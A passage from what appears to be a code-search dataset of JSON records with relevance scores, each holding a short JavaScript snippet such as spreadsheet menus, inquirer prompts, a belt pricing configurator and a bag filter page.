exec() {\n //Open a dialog window showing the text.\n //In this case we want to show the table Accounts as html file\n Banana.Ui.showText(Banana.document.table('Accounts').toHtml(['Account', 'Group', 'Description', 'Balance'], true));\n\n}", "title": "" }, { "docid": "f202aee9b9118d037f2f5c8022896413", "score": "0.49344847", "text": "start(adverb) {\r\n console.log(`The engine starts up ${adverb}...`);\r\n }", "title": "" }, { "docid": "7ed572707b9427656400b69e722dd1c3", "score": "0.49334213", "text": "function onOpen() {\n \n var ui = SpreadsheetApp.getUi();\n ui.createMenu('Bot Commands').addItem('Send a Test Tweet', 'generateTweet').addItem('Start Posting Tweets', 'setTiming').addItem('Stop Posting Tweets', 'clearTiming').addToUi();\n}", "title": "" }, { "docid": "0a9687c66eb1804b1e31d54f65e7eb78", "score": "0.4932233", "text": "function startWorkflow()\n{\nvar nodeRef = \"workspace://SpacesStore/25285e6c-2995-49fe-aa50-1270cefc806a\";\nvar docNode = search.findNode(nodeRef);\n var workflowAct = actions.create(\"start-workflow\");\n workflowAct.parameters.workflowName = \"activiti$alfGroupReview\";\n workflowAct.parameters[\"bpm:workflowDescription\"] = \"Please review \";\n workflowAct.parameters[\"bpm:groupAssignee\"] = people.getGroup( \"GROUP_aloha_collaborators\");;\n var futureDate = new Date();\n futureDate.setDate(futureDate.getDate() + 7);\n workflowAct.parameters[\"bpm:workflowDueDate\"] = futureDate; \n workflowAct.execute(docNode);\n return ;\n}", "title": "" }, { "docid": "2f40410243ebff4ca48f3817e1302b8d", "score": "0.4931615", "text": "function launchCourse() {\n /* if we have a valid URL, tell user we have launched */\n if (verifyURL()) {\n showLog('<b>SCO Launched</b>');\n launchIt();\n }\n}", "title": "" }, { "docid": "8f950ed8c57f70e18a53ac2c52cc8073", "score": "0.49298933", "text": "function start() {\n inquirer.prompt([{\n //start game displaying empty word\n }]);\n }", "title": "" }, { "docid": "8e038b95d9a28a3f2290f2b7e6d5ff7f", "score": "0.49287954", "text": "function startSetup()\n\t{\n\t\thideAllButtons();\n\t\tboardRef.style.display = \"none\";\n\t\tbuttonBoxes[0].classList.remove(\"no-display\");\n\t\tprintToDisplay(\"Choose your opponent\", function(){showButtons([2, 3]);});\n\t}", "title": "" }, { "docid": "395d1f5e8ad85c9aaff9032880c4b690", "score": "0.49271372", "text": "function start(){\n user_info_change('login');\n}", "title": "" }, { "docid": "737c181fa09d1455c2e4eb5d83bd328f", "score": "0.49246866", "text": "function banksPoorClients() {\n // CODE HERE\n\n }", "title": "" }, { "docid": "67865c6f2cbbd5797bbeda8973a67576", "score": "0.4918969", "text": "function ownerView(temId, status) {\r\n\r\n location.href = \"./teamManager.html\"\r\n}", "title": "" }, { "docid": "7b421151e9563ad5a4f11ac8170ec054", "score": "0.49188557", "text": "function start() { \n\n // Clears the terminal...\n process.stdout.write('\\033c'); \n\n // Displays the open welcome screen...\n let config,\n data,\n output;\n \n data = [\n [' ' + 'Welcome to BAMAZON!'.yellow + ' ']\n ];\n config = {\n columns: {\n 0: {\n minWidth: 25\n },\n }\n };\n output = table(data, config);\n console.log(output);\n\n inquirer.prompt([\n { \n name: \"response\", \n type: \"list\",\n message: \"Select an option\",\n choices: [\"Customer options\", \"Manager options\", \"Supervisor options\"]\n }\n ]).then(function(answer) {\n\n let mgrResponse = answer.response; \n\n switch (mgrResponse) {\n case \"Customer options\":\n customer.bamazonCustomer();\n break;\n case \"Manager options\":\n manager.bamazonManager();\n break;\n case \"Supervisor options\":\n supervisor.bamazonSupervisor();\n break;\n default: \n console.log(\"Not a valid option\");\n }\n });\n}", "title": "" }, { "docid": "aac3df68efd050859e742a935837d6b5", "score": "0.49170488", "text": "function C101_KinbakuClub_Lauren_Enough() {\n\tif (ActorGetValue(ActorLove) >= 5 || ActorGetValue(ActorSubmission) >= 5) OverridenIntroText = GetText(\"ShakesHead\");\n}", "title": "" }, { "docid": "a02780313c57f3765ee5d0d27f3cfc17", "score": "0.49157217", "text": "function\nonOpen()\n{\n var ui = SpreadsheetApp.getUi();\n \n ui.createMenu(\"360 Blue\")\n .addItem('Get Work Orders', 'getWorkOrders')\n .addToUi();\n}", "title": "" }, { "docid": "ed051a6c4e101e543e8b7b4b43baac45", "score": "0.49114236", "text": "function onOpen() {\n var ui = SpreadsheetApp.getUi();\n\n ui.createMenu('YouTube Tracker')\n .addItem('Get video stats', 'markVideos')\n .addToUi();\n}", "title": "" }, { "docid": "b7bc2e69f308b9bb54173b3f3fb2ba73", "score": "0.49113402", "text": "function addEmployee() {\n inquirer.prompt([\n {\n message: \"Would you like to add anyone else?\",\n type: \"list\",\n choices: [\"Engineer\", \"Intern\", \"No, I'm done.\"],\n name: \"nextStep\",\n }\n ])\n .then(function(nextStep) {\n var obj = nextStep;\n const next = obj[Object.keys(obj)[0]];\n if (next === \"Engineer\"){\n const detail = \"gitHub account\"\n//console.log(\"line 74 \" + detail);\n newMember(next, detail);\n//console.log(\"line 76 \" + detail);\n } else if (next === \"Intern\"){\n const detail = \"school\";\n newMember(next, detail);\n//console.log(\"line 80 \" + detail);\n } else {\n pageEnd();\n console.log(\"\\n----Team Page Generated!----\")\n }\n });\n}", "title": "" } ]
106bcca97ab23e6895856e88548e035e
adding each belt and making them interactive
[ { "docid": "b851068d29862f19f5b792f82b4c1be4", "score": "0.63893366", "text": "addBelt() {\n openBelt1 = this.add.image(335, 405, \"openBelt\").setScale(0.3).setAngle(2)\n openBelt2 = this.add.image(540, 415, \"openBelt\").setScale(0.3).setAngle(2)\n openBelt3 = this.add.image(430, 480, \"openBelt\").setScale(0.3).setAngle(92)\n openBelt4 = this.add.image(405, 290, \"openBelt\").setScale(0.3).setAngle(82)\n openBelt5 = this.add.image(495, 292, \"openBelt\").setScale(0.3).setAngle(102)\n\n closedBelt1 = this.add.image(335, 405, \"closedBelt\").setScale(0.3).setAngle(2)\n closedBelt2 = this.add.image(540, 415, \"closedBelt\").setScale(0.3).setAngle(2)\n closedBelt3 = this.add.image(430, 480, \"closedBelt\").setScale(0.3).setAngle(92)\n closedBelt4 = this.add.image(405, 290, \"closedBelt\").setScale(0.3).setAngle(82)\n closedBelt5 = this.add.image(495, 292, \"closedBelt\").setScale(0.3).setAngle(102)\n\n closedBelt1.setVisible(false);\n closedBelt2.setVisible(false);\n closedBelt3.setVisible(false);\n closedBelt4.setVisible(false);\n closedBelt5.setVisible(false);\n\n this.testBelt(openBelt1, closedBelt1);\n this.testBelt(openBelt2, closedBelt2);\n this.testBelt(openBelt3, closedBelt3);\n this.testBelt(openBelt4, closedBelt4);\n this.testBelt(openBelt5, closedBelt5);\n }", "title": "" } ]
[ { "docid": "e7003214b64eb41d2bc3c29a5e114da5", "score": "0.5629806", "text": "function spawnBags(){\r\n //add bags \r\n add([\r\n sprite(choose([\"bag1\", \"bag2\", \"bag3\"])),\r\n pos(width()+rand(1200, 1500), height()),\r\n area(),\r\n origin(\"botleft\"),\r\n layer(\"top\"),\r\n scale(0.55),\r\n move(LEFT, SPEED),\r\n \r\n \"bag\", // add a tag here\r\n ]);\r\n // wait a random amount of time to spawn next tree\r\n wait(rand(3, 5), (spawnBags));\r\n \r\n }", "title": "" }, { "docid": "d7cf6aa839e5ba35440b6b027f7fde76", "score": "0.5513945", "text": "function renderBrewData(){\n //reveal brewDataBox \n brewDataBox.removeClass(\"hide\");\n //iterate through array of breweries\n for(let i = 0;i<breweries.length;i++){\n var brewery = $(\"<li>\");\n brewery.addClass(\"collection-item\");\n brewery.addClass(i + \"beer\");\n\n var breweryName = $(\"<p>\");\n breweryName.text(breweries[i].name);\n brewery.append(breweryName);\n var breweryWebsite = $(\"<a>\");\n breweryWebsite.text(breweries[i].website);\n breweryWebsite.attr(\"target\",\"_blank\");\n breweryWebsite.attr(\"href\", breweries[i].website);\n brewery.append(breweryWebsite);\n var breweryPhone = $(\"<p>\");\n breweryPhone.text(breweries[i].phone);\n brewery.append(breweryPhone);\n var phoneIcon = $(\"<i>\");\n phoneIcon.text(\"call\");\n phoneIcon.addClass(\"material-icons\");\n breweryPhone.addClass(\"phoneIcon\");\n breweryPhone.prepend(phoneIcon);\n var breweryButton = $(\"<button>\");\n breweryButton.attr(\"type\", \"button\");\n breweryButton.addClass(\"addRouteBtn\");\n breweryButton.text(\"Add to Route\");\n breweryButton.attr(\"id\", i + \"\");\n breweryButton.on(\"click\",function(event){\n event.preventDefault();\n $(this).css(\"background-color\", \"#F2C351\");\n selector = $(this).attr(\"id\");\n selectors.push(parseInt(selector));\n console.log(selectors);\n })\n brewery.append(breweryButton);\n brewDataBox.prepend(brewery);\n }\n}", "title": "" }, { "docid": "166767f5ed3cff612513236ada5dc117", "score": "0.5509814", "text": "function addBlocks(){\n\tvar blockA = {\n\t\t\"type\": \"Feature\",\n\t\t\"properties\": {\n\t\t\t\"popupContent\": \"Blok A\",\n\t\t\t\"style\": {\n\t\t\t\tweight: 2,\n\t\t\t\tcolor: \"#999\",\n\t\t\t\topacity: 1,\n\t\t\t\tfillColor: \"#B0DE5C\",\n\t\t\t\tfillOpacity: 0.8\n\t\t\t}\n\t\t},\n\t\t\"geometry\": {\n\t\t\t\"type\": \"Polygon\",\n\t\t\t\"coordinates\": [\n\t\t\t\t[\n\t\t\t\t\t[17.07256,48.151818],\n\t\t\t\t\t[ 17.072567, 48.151969],\n\t\t\t\t\t[17.073859, 48.151951],\n\t\t\t\t\t[17.073891, 48.151822]\n\n\t\t\t\t]\n\t\t\t]\n\t\t}\n\t};\n\tvar blockB = {\n\t\t\"type\": \"Feature\",\n\t\t\"properties\": {\n\t\t\t\"popupContent\": \"Blok B\",\n\t\t\t\"style\": {\n\t\t\t\tweight: 2,\n\t\t\t\tcolor: \"#999\",\n\t\t\t\topacity: 1,\n\t\t\t\tfillColor: \"#B0DE5C\",\n\t\t\t\tfillOpacity: 0.8\n\t\t\t}\n\t\t},\n\t\t\"geometry\": {\n\t\t\t\"type\": \"Polygon\",\n\t\t\t\"coordinates\": [\n\t\t\t\t[\n\t\t\t\t\t[17.073001, 48.152334],\n\t\t\t\t\t[17.073011, 48.152462],\n\t\t\t\t\t[17.074347, 48.152459],\n\t\t\t\t\t[17.074353, 48.152323]\n\n\t\t\t\t]\n\t\t\t]\n\t\t}\n\t};\n\tvar blockC = {\n\t\t\"type\": \"Feature\",\n\t\t\"properties\": {\n\t\t\t\"popupContent\": \"Blok D\",\n\t\t\t\"style\": {\n\t\t\t\tweight: 2,\n\t\t\t\tcolor: \"#999\",\n\t\t\t\topacity: 1,\n\t\t\t\tfillColor: \"#B0DE5C\",\n\t\t\t\tfillOpacity: 0.8\n\t\t\t}\n\t\t},\n\t\t\"geometry\": {\n\t\t\t\"type\": \"Polygon\",\n\t\t\t\"coordinates\": [\n\t\t\t\t[\n\t\t\t\t\t[17.072819,48.152827],\n\t\t\t\t\t[ 17.072828, 48.152971],\n\t\t\t\t\t[17.073876, 48.15296],\n\t\t\t\t\t[17.073869, 48.152831]\n\n\t\t\t\t]\n\t\t\t]\n\t\t}\n\t};\n\tvar blockD = {\n\t\t\"type\": \"Feature\",\n\t\t\"properties\": {\n\t\t\t\"popupContent\": \"Blok C\",\n\t\t\t\"style\": {\n\t\t\t\tweight: 2,\n\t\t\t\tcolor: \"#999\",\n\t\t\t\topacity: 1,\n\t\t\t\tfillColor: \"#B0DE5C\",\n\t\t\t\tfillOpacity: 0.8\n\t\t\t}\n\t\t},\n\t\t\"geometry\": {\n\t\t\t\"type\": \"Polygon\",\n\t\t\t\"coordinates\": [\n\t\t\t\t[\n\t\t\t\t\t[17.073199, 48.153332],\n\t\t\t\t\t[17.073199, 48.153472],\n\t\t\t\t\t[17.074353, 48.153468],\n\t\t\t\t\t[17.074358, 48.153336]\n\n\t\t\t\t]\n\t\t\t]\n\t\t}\n\t};\n\tvar blockE = {\n\t\t\"type\": \"Feature\",\n\t\t\"properties\": {\n\t\t\t\"popupContent\": \"Blok C\",\n\t\t\t\"style\": {\n\t\t\t\tweight: 2,\n\t\t\t\tcolor: \"#999\",\n\t\t\t\topacity: 1,\n\t\t\t\tfillColor: \"#B0DE5C\",\n\t\t\t\tfillOpacity: 0.8\n\t\t\t}\n\t\t},\n\t\t\"geometry\": {\n\t\t\t\"type\": \"Polygon\",\n\t\t\t\"coordinates\": [\n\t\t\t\t[\n\t\t\t\t\t[17.072826, 48.153826],\n\t\t\t\t\t[17.07282, 48.153976],\n\t\t\t\t\t[17.073888, 48.153966],\n\t\t\t\t\t[17.073883, 48.15383]\n\n\t\t\t\t]\n\t\t\t]\n\t\t}\n\t};\n\n\tL.geoJSON(blockA).addTo(customMap).bindPopup(\"<b>Blok A</b><br>Ústav jadrového a fyzikálneho inžinierstva, <br>Inštitút komunikácie a aplikovanej lingvistiky\");\n\tL.geoJSON(blockB).addTo(customMap).bindPopup(\"<b>Blok B</b><br>Ústav elektrotechniky, <br>Ústav multimediálnych informačných a komunikačných technológií\");\n\tL.geoJSON(blockC).addTo(customMap).bindPopup(\"<b>Blok C</b><br>Ústav informatiky a matematiky, <br>Ústav elektroenergetiky a aplikovanej elektrotechniky\");\n\tL.geoJSON(blockD).addTo(customMap).bindPopup(\"<b>Blok D</b><br>Ústav automobilovej mechatroniky, <br>Ústav robotiky a kybernetiky\");\n\tL.geoJSON(blockE).addTo(customMap).bindPopup(\"<b>Blok E</b><br>Ústav elektroniky a fotoniky\");\n}", "title": "" }, { "docid": "f5ee39baef40f856b79c266fbf117848", "score": "0.5436098", "text": "function updateBelt( ){\r\n\t\tvar $selected = $( '#belt-step .belt-row.selected' );\r\n\r\n\t\tif( $selected.length > 0 ){\r\n\r\n\t\t\t$( '#pricing-step .belt-total-price' ).text( $( '.belt-price', $selected ).text( ) );\r\n\t\t\t$( '#pricing-step .belt-surface-material' ).text( $( '.belt-material', $selected ).text( ) );\r\n\t\t\t$( '#pricing-step .belt-surface-desc' ).text( $( '.belt-desc', $selected ).text( ) );\r\n\t\t\t$( '#pricing-step .belt-surface-color' ).text( $( '.belt-color', $selected ).text( ) );\r\n\t\t\t$( '#pricing-step .belt-max-temp' ).text( $( '.belt-max-temp', $selected ).text( ) );\r\n\t\t\t$( '#pricing-step .belt-notes' ).text( $( '.belt-notes', $selected ).text( ) );\r\n\r\n\r\n\t\t\t$( '#pricing-step .no-belt-selected' ).addClass( 'd-none' );\r\n\t\t}else{\r\n\t\t\t$( '#pricing-step .belt-values' ).text( '' );\r\n\t\t\t$( '#pricing-step .belt-total-price' ).text( priceFormat( 0 ) );\r\n\t\t\t$( '#pricing-step .no-belt-selected' ).removeClass( 'd-none' );\r\n\r\n\t\t}\r\n\r\n\r\n\t\t// Table\r\n\t\tif( $selected.length > 0 ){\r\n\r\n\t\t\t/**\r\n\t\t\t * TODO: Move to backend\r\n\t\t\t */\r\n\t\t\tvar beltWidthmm = getBeltWidthMm( $width.val( ) );\r\n\t\t\tvar beltLengthmm = getBeltLengthMm( $drive.filter( ':checked' ).val( ), $length.data('mm-val') );\r\n\r\n\t\t\t$( '#pricing-step .belt-number' ).text( $( '.belt-num', $selected ).text( ) );\r\n\t\t\t$( '#pricing-step .belt-color' ).text( $( '.belt-color', $selected ).text( ) );\r\n\t\t\t$( '#pricing-step .belt-material' ).text( $( '.belt-material', $selected ).text( ) );\r\n\r\n\t\t\t$( '#pricing-step .belt-width-mm' ).text( beltWidthmm );\r\n\t\t\t$( '#pricing-step .belt-width-in' ).text( Math.round( beltWidthmm / IN_TO_MM ) );\r\n\r\n\t\t\t$( '#pricing-step .belt-length-mm' ).text( beltLengthmm );\r\n\t\t\t$( '#pricing-step .belt-length-in' ).text( Math.round( beltLengthmm / IN_TO_MM ) );\r\n\r\n\r\n\t\t\t$( '#pricing-step .belt-label' ).removeClass( 'd-none' );\r\n\t\t\t$( '#pricing-step .belt-na' ).addClass( 'd-none' );\r\n\r\n\r\n\r\n\t\t}else{\r\n\t\t\t$( '#pricing-step .belt-na' ).removeClass( 'd-none' );\r\n\t\t\t$( '#pricing-step .belt-label' ).addClass( 'd-none' );\r\n\t\t}\r\n\r\n\t\t$( '#pricing-step .slider-label' ).text( $( ':selected', $slider ).text( ) );\r\n\r\n\t}", "title": "" }, { "docid": "e56917cfbb8ef5d58683f6ba150de43e", "score": "0.5423704", "text": "addItem(itm) {\n const oldBeers = Array.prototype.slice.call(this.state.beers);\n this.setState(\n {\n beers: oldBeers.concat([itm])\n }\n );\n }", "title": "" }, { "docid": "2e022b16679d799301795c28d090081a", "score": "0.5377047", "text": "function update_backpack() {\n $(\"#backpack_contents\").empty();\n\n for (var i = 0; i < backpack.length; i++) {\n $(\"#backpack_contents\").append(\n $(\"<div/>\")\n .addClass(\"backpack_item\")\n .text(backpack[i].name)\n .append(\n $(\"<div/>\")\n .addClass(\"item_value\")\n .text(backpack[i].value)\n )\n .append(\n $(\"<button/>\", {\n text: \"Sell\",\n class: \"sell_button\",\n }).click(backpack[i].id, sell_item)\n )\n )\n }\n}", "title": "" }, { "docid": "d3fbb8359715f93084f4d8504a37526f", "score": "0.5374249", "text": "function addRowOfPipes() {\n\t\tif (gameAlive == true){\n\t\t\tvar balloonType = Math.floor(Math.random()*3)+1;\n\t\t\tvar place = Math.floor(Math.random()*2)+1;\n\t\t\tgetFirstDeadPart();\n\t\t\tif (reverseLayout === false){\n\t\t\t\tif (place === 1) {\n\t\t\t\t\tcreateBalloon(1289,100);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tcreateBalloon(1289,250);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\telse{\n\t\t\t\tif (place === 1) {\n\t\t\t\t\tcreateBalloonAngle(1289,350);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tcreateBalloonAngle(1289,250);\n\t\t\t\t}\n\t\t\t}\n\t\t\tsetBalloonProperties();\n\t\t\tpart5d.giveScore = true;\n\t\t\tpart5d.reversed = false;\n\t\t\tpart5d.tweenBalloon = false;\n\t\t}\n }", "title": "" }, { "docid": "7f8d1265dfa706f3a62f8eedf1d5ffe5", "score": "0.53573596", "text": "addElement(elt) {\n this.block.addChild(elt.toTree(this.parser.nodeSet), elt.from - this.block.from);\n }", "title": "" }, { "docid": "71ae2b8e19b08a8761cf4dd32980944b", "score": "0.5336534", "text": "function loadBricks() {\t\r\n\t\tfor(var i=0; i < 10; i++) {\r\n\t\t\tfor(var j=0; j < 10; j++) {\r\n\t\t\t brick = document.createElement('div');\r\n\t\t\t\tbrick.setAttribute('id', 'brick' + i + j);\r\n\t\t\t\tbrick.classList.add('brick');\r\n\t\t\t\tbrick.classList.add('col' + i);\r\n\t\t\t\tbrick.classList.add('row' + j);\r\n\t\t\t\tmain.appendChild(brick);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "e4087939083faefcbf92921a6db65684", "score": "0.52626586", "text": "function showbags() {\n console.log(\"showbags()\");\n bags.forEach(bag => {\n\n \n \n var bagContainer = document.createElement(\"div\");\n bagContainer.classList.add(\"bag-container\");\n document.querySelector(\".container\").append(bagContainer);\n\n var bagTitle = document.createElement(\"h1\");\n bagTitle.classList.add(\"bag-title\");\n bagTitle.innerText = bag.fields.bag;\n bagContainer.append(bagTitle);\n \n var bagSize = document.createElement(\"h1\");\n bagSize.classList.add(\"bag-size\");\n bagSize.innerText = bag.fields.size;\n bagContainer.append(bagSize);\n\n var bagDescription = document.createElement(\"p\");\n bagDescription.classList.add(\"bag-description\");\n bagDescription.innerText = bag.fields.description;\n bagContainer.append(bagDescription);\n\n var bagImage = document.createElement(\"img\");\n bagImage.classList.add(\"bag-image\");\n bagImage.src = bag.fields.image[0].url;\n bagContainer.append(bagImage); \n \n \n var bagSize = bag.fields.size;\n bagContainer.classList.add(bagSize);\n\n bagContainer.addEventListener(\"click\", function(event){\n bagDescription.classList.toggle(\"active\");\n bagTitle.classList.toggle(\"active\");\n bagContainer.classList.toggle(\"active\");\n bagImage.classList.toggle(\"active\");\n \n });\n \n \n // get genre field from airtable\n // loop through the array and add each genre as\n // a class to the bag container\n \n // var bagSize = bag.fields.size;\n // bagSize.forEach(function(size){\n // bagContainer.classList.add(size); \n // });\n\n // var bagSize = bag.fields.size;\n // bagContainer.forEach(function(size){\n // bagContainer.classList.add(size);\n // })\n \n \n // clicking on filter by x-small\n // change display\n var filterXSmall = document.querySelector(\".js-x-small\");\n filterXSmall.addEventListener(\"click\", function() {\n if (bagContainer.classList.contains(\"x-small\")) {\n bagContainer.style.display = \"block\";\n } else {\n bagContainer.style.display = \"none\";\n }\n });\n\n // filter by small\n var filterSmall = document.querySelector(\".js-small\");\n filterSmall.addEventListener(\"click\", function() {\n if (bagContainer.classList.contains(\"small\")) {\n bagContainer.style.display = \"block\";\n } else {\n bagContainer.style.display = \"none\";\n }\n });\n\n // filter by medium\n var filterMedium = document.querySelector(\".js-medium\");\n filterMedium.addEventListener(\"click\", function() {\n if (bagContainer.classList.contains(\"medium\")) {\n bagContainer.style.display = \"block\";\n } else {\n bagContainer.style.display = \"none\";\n }\n });\n\n // filter by large\n var filterLarge = document.querySelector(\".js-large\");\n\n filterLarge.addEventListener(\"click\", function() {\n if (bagContainer.classList.contains(\"large\")) {\n bagContainer.style.display = \"block\";\n } else {\n bagContainer.style.display = \"none\";\n }\n });\n\n // filter by x-large\n var filterXLarge = document.querySelector(\".js-x-large\");\n\n filterXLarge.addEventListener(\"click\", function() {\n if (bagContainer.classList.contains(\"x-large\")) {\n bagContainer.style.display = \"block\";\n } else {\n bagContainer.style.display = \"none\";\n }\n });\n\n // filter reset\n var filterReset = document.querySelector(\".js-reset\");\n filterReset.addEventListener(\"click\", function() {\n bagContainer.style.display = \"block\";\n });\n });\n \n}", "title": "" }, { "docid": "602fe5dc38c44ce92d2518ff12d28ef3", "score": "0.5262485", "text": "function renderIngredientBasket(){\n $(\".genIngredientBasket\").empty();\n for (var i = 0; i < ingredientBasket.length; i++){\n var genIngredientBasket = $(\"<button>\");\n genIngredientBasket.text(ingredientBasket[i]);\n genIngredientBasket.addClass(\"user-ingredientbasket\");\n genIngredientBasket.attr(\"data-drinkbtn\", ingredientBasket[i]);\n $(\".genIngredientBasket\").append(genIngredientBasket);\n }\n}", "title": "" }, { "docid": "d6e131ae1e8fac79f1c346a04613a4ba", "score": "0.52422863", "text": "function riversOverviewAddLines() {\n body.innerHTML = \"\";\n let lines = \"\";\n\n for (const r of pack.rivers) {\n const length = rn(r.length * distanceScaleInput.value) + \" \" + distanceUnitInput.value;\n const basin = pack.rivers.find(river => river.i === r.basin).name;\n\n lines += `<div class=\"states\" data-id=${r.i} data-name=\"${r.name}\" data-type=\"${r.type}\" data-length=\"${r.length}\" data-basin=\"${basin}\">\n <span data-tip=\"Click to focus on river\" class=\"icon-dot-circled pointer\"></span>\n <input data-tip=\"River proper name. Click to change. Ctrl + click to regenerate\" class=\"riverName\" value=\"${r.name}\" autocorrect=\"off\" spellcheck=\"false\">\n <input data-tip=\"River type name. Click to change\" class=\"riverType\" value=\"${r.type}\">\n <div data-tip=\"River length\" class=\"biomeArea\">${length}</div>\n <input data-tip=\"River basin (name of the main stem)\" class=\"stateName\" value=\"${basin}\" disabled>\n <span data-tip=\"Edit river\" class=\"icon-pencil\"></span>\n <span data-tip=\"Remove river\" class=\"icon-trash-empty\"></span>\n </div>`;\n }\n body.insertAdjacentHTML(\"beforeend\", lines);\n\n // update footer\n riversFooterNumber.innerHTML = pack.rivers.length;\n const averageLength = rn(d3.sum(pack.rivers.map(r => r.length)) / pack.rivers.length);\n riversFooterLength.innerHTML = (averageLength * distanceScaleInput.value) + \" \" + distanceUnitInput.value;\n\n // add listeners\n body.querySelectorAll(\"div.states\").forEach(el => el.addEventListener(\"mouseenter\", ev => riverHighlightOn(ev)));\n body.querySelectorAll(\"div.states\").forEach(el => el.addEventListener(\"mouseleave\", ev => riverHighlightOff(ev)));\n body.querySelectorAll(\"div > input.riverName\").forEach(el => el.addEventListener(\"input\", changeRiverName));\n body.querySelectorAll(\"div > input.riverName\").forEach(el => el.addEventListener(\"click\", regenerateRiverName));\n body.querySelectorAll(\"div > input.riverType\").forEach(el => el.addEventListener(\"input\", changeRiverType));\n body.querySelectorAll(\"div > span.icon-dot-circled\").forEach(el => el.addEventListener(\"click\", zoomToRiver));\n body.querySelectorAll(\"div > span.icon-pencil\").forEach(el => el.addEventListener(\"click\", openRiverEditor));\n body.querySelectorAll(\"div > span.icon-trash-empty\").forEach(el => el.addEventListener(\"click\", triggerRiverRemove));\n\n applySorting(riversHeader);\n }", "title": "" }, { "docid": "4565336986e80b43ffed7e09775b91f5", "score": "0.5237871", "text": "function addHat(n){\n var tm = document.createElement('div');\n tm.className = 'terminal animated bounceIn';\n setTimeout(function(){\n tm.className = tm.className.replace(\" animated bounceIn\", \"\");\n }, 1000);\n tm.innerHTML = n;\n function onclickWrapper(i){\n return function(){\n numberNow = i;\n for(var j = 0; j < GUI.terminalList.childNodes.length; j++){\n GUI.terminalList.childNodes.item(j).className = 'terminal';\n GUI.terminalList.childNodes.item(j).style.background = 'rgba(200,200,200,0.35)';\n }\n GUI.contentCO.className = GUI.contentCO.className.replace(\" animated fadeIn\", \"\");\n GUI.contentCO.className = GUI.contentCO.className.replace(\" animated flipInX\", \"\");\n setTimeout(function(){\n GUI.contentCO.className += \" animated flipInX\";\n GUI.contentCH4.className += \" animated flipInX\";\n }, 100);\n GUI.contentCO.style.opacity = 1;\n GUI.contentCH4.className = GUI.contentCH4.className.replace(\" animated fadeIn\", \"\");\n GUI.contentCH4.className = GUI.contentCH4.className.replace(\" animated flipInX\", \"\");\n GUI.contentCH4.style.opacity = 1;\n tm.style.background = 'rgba(0,0,0,0.7)';\n };\n }\n tm.onclick = onclickWrapper(n);\n GUI.terminalList.appendChild(tm);\n\n var point = document.createElement('div');\n point.className = 'point animated bounceIn';\n var number = document.createElement('div');\n number.className = 'number'\n number.innerHTML = n;\n point.appendChild(number);\n\n point.style.top = (GUI.LocationMap.clientHeight-64) / 2 + 'px';\n point.style.left= (GUI.LocationMap.clientWidth-64) / 2 + 'px';\n\n GUI.map.appendChild(point);\n\n hats.push(new Hat(n, point, tm));\n\n if(hats.length === 1){\n tm.style.background = 'rgba(0,0,0,0.7)';\n }\n}", "title": "" }, { "docid": "43e8a86130e9845f581bf3b6d61b0a5b", "score": "0.5209801", "text": "function renderAddedBtns() {\n\n // getting the last added animal in the array\n let lastAnimal = addedAnimals[addedAnimals.length - 1];\n\n // creating button elements for the animal array\n let animalButton = $(\"<button>\");\n\n // adding classes to animal buttons\n animalButton.addClass(\"animal-btn\");\n animalButton.addClass(lastAnimal.toLowerCase())\n // adding the attribute data-name to the appending animal button\n animalButton.attr(\"data-name\", lastAnimal);\n\n // adding text to the animal buttons\n animalButton.text(lastAnimal.toUpperCase());\n // and finally appending the created button elements\n $(\"#added-buttons\").append(animalButton);\n // adding oncontextmenu to animal button for removing a single button on right click\n $(`.${lastAnimal}`).attr(\"oncontextmenu\", `removeSingleBtn('${lastAnimal}'); return false;`);\n}", "title": "" }, { "docid": "0e5f44c1ce0fa119659195db2a56b4e2", "score": "0.5200466", "text": "buttonAnimal() {\n console.log('Button Animal');\n var len = dataArrButtonAnimal.length;\n\n for (var i = 0; i < len; i++){\n dataArrButtonAnimal[i].setInteractive();\n dataArrButtonAnimal[i].visible = true;\n dataArrButtonAnimal[i].x = constButtonAnimalX + i * 160;\n dataArrButtonAnimal[i].y = constButtonAnimalY;\n this.input.setDraggable(dataArrButtonAnimal[i]);\n }\n }", "title": "" }, { "docid": "b4b81c4fe8edbf40e7c061c5e9e0e424", "score": "0.5199693", "text": "function applNext(){\n for (var n=0;n<plugins.length;n++){\n var sets=plugins[n].getSets();\n for (var i=0;i<sets.length;i++){\n var tmp_set=new Array();\n for (var k=0;k<sets[i].length;k++){\n var p=new Point(sets[i][k].getX(),sets[i][k].getY(),sets[i][k].getZ());\n tmp_set.push(p);\n }\n plugins[n].addSet(tmp_set,cur_z+1);\n }\n }\n}", "title": "" }, { "docid": "119ece1e2b2c88bbbc89c6b7951b332a", "score": "0.51964915", "text": "function activityBag() {\n //Pulling the food bag so we can keep the food user picked in the basket\n foodBag();\n //Yoga will be added to the basket\n if (yogawilladd === true) {\n lifebag1.addyoga();\n }\n //Gym will be added to the basket\n if (gymwilladd === true) {\n lifebag1.addgym();\n }\n if (eatwilladd === true) {\n lifebag1.addeat();\n }\n if (tvwilladd === true) {\n lifebag1.addtv();\n }\n}", "title": "" }, { "docid": "105e3df9a940c07cd5699a914749eec5", "score": "0.51953757", "text": "function start() {\n var textArea = document.getElementById(\"textArea\");\n\n let bicyclePrototype = createBicyclePrototye();\n let mountainBikePrototype = createMountainBikeProtoype(bicyclePrototype);\n let bikeList = [\n Object.create(bicyclePrototype),\n Object.create(bicyclePrototype),\n Object.create(mountainBikePrototype),\n Object.create(mountainBikePrototype)\n ];\n\n for (let i = 0; i < 5; i++) {\n textArea.value += `speed up \\n`;\n for (let bike of bikeList) {\n bike.speedup(i);\n textArea.value += `${bike.speed} \\n`;\n }\n textArea.value += `speed down \\n`;\n for (let bike of bikeList) {\n if(bike.speed != 0)\n bike.applyBrake(i-1);\n textArea.value += `${bike.speed} \\n`;\n };\n textArea.value += `change gear\\n`;\n for (let bike of bikeList) {\n if (bike.__proto__ == mountainBikePrototype) {\n bike.setGear(i+1);\n textArea.value += `${bike.gear} \\n`;\n }\n }\n }\n}", "title": "" }, { "docid": "315f828225a3531b0ae44503b6c062fd", "score": "0.51939225", "text": "addBubble() {\n let count = -1;\n let bubblelist = this.props.workingset[this.props.currentBoard].map((b) => {\n count++;\n return (<Bubble key={b.id}\n originalmodel={b.model}\n colour={b.colour}\n unique={b.id}\n x={b.x} y={b.y}\n w={b.width} h={b.height}\n filename={b.filename}\n index={count}\n 